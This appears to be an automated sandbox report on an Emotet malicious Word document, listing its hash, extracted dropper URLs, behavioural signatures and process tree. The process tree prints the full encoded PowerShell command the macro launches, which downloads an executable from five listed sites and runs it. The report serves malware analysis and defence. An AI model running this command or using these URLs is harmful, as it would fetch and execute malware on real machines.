Analysis
- max time kernel
135s - max time network
134s - platform
windows10_x64 - resource
win10 - submitted
13/08/2020, 17:10
General
- Target emotet_e3_e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97_2020-08-13__170845._doc.doc
- Size 232KB
- Sample200813-rrj67ym1fe
- SHA256 e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gregemmerth.com/stats/rBZp0wy31512967/
-
exe.dropper
http://paralink.com.br/faatads/19zPjcmw7r318182393/
-
exe.dropper
http://riandutra.com/img/yiZS/
-
exe.dropper
https://mrveggy.com/erros/Busgh63a1960/
-
exe.dropper
http://mycyberhealth.online/yyczief/wlW/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 2 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 22 IoCs
- JavaScript code in executable 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97_2020-08-13__170845._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\.CR.2375\Avira.Spotlight.Bootstrapper.exe"C:\Users\Admin\AppData\Local\Temp\.CR.2375\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1592-36-0x0000000005B60000-0x0000000005B61000-memory.dmp
memory/1592-42-0x0000000005590000-0x0000000005591000-memory.dmp
memory/1592-63-0x000000000A170000-0x000000000A171000-memory.dmp
memory/1592-31-0x00000000050B0000-0x00000000050B1000-memory.dmp
memory/1592-50-0x0000000005620000-0x0000000005621000-memory.dmp
memory/1592-34-0x0000000005470000-0x0000000005471000-memory.dmp
memory/1592-54-0x0000000005600000-0x0000000005601000-memory.dmp
memory/1592-28-0x0000000005420000-0x0000000005421000-memory.dmp
memory/1592-16-0x0000000000670000-0x0000000000671000-memory.dmp
memory/1592-39-0x0000000005500000-0x0000000005501000-memory.dmp
memory/1592-20-0x0000000004FD0000-0x0000000004FD1000-memory.dmp
memory/1592-61-0x00000000066A0000-0x00000000066A1000-memory.dmp
memory/1592-15-0x00000000733D0000-0x0000000073ABE000-memory.dmp
memory/1592-59-0x0000000005860000-0x0000000005861000-memory.dmp
memory/1592-62-0x0000000008ED0000-0x0000000008ED1000-memory.dmp
memory/1592-24-0x00000000053F0000-0x00000000053F1000-memory.dmp
memory/3760-9-0x000001D869430000-0x000001D869431000-memory.dmp
memory/3760-10-0x000001D869700000-0x000001D869701000-memory.dmp
memory/3760-8-0x00007FFEA07E0000-0x00007FFEA11CC000-memory.dmp
memory/3984-5-0x000002B034B12000-0x000002B034B15000-memory.dmp
memory/3984-1-0x000002B03EAB2000-0x000002B03EAC3000-memory.dmp
memory/3984-2-0x000002B03EAB2000-0x000002B03EAC3000-memory.dmp
memory/3984-0-0x00007FFEA88C0000-0x00007FFEA8F86000-memory.dmp
memory/3984-3-0x000002B03EAB2000-0x000002B03EAC3000-memory.dmp
memory/3984-4-0x000002B03EAB2000-0x000002B03EAC3000-memory.dmp
memory/3984-7-0x000002B03EC4C000-0x000002B03EC51000-memory.dmp
memory/3984-6-0x000002B03EC4C000-0x000002B03EC51000-memory.dmp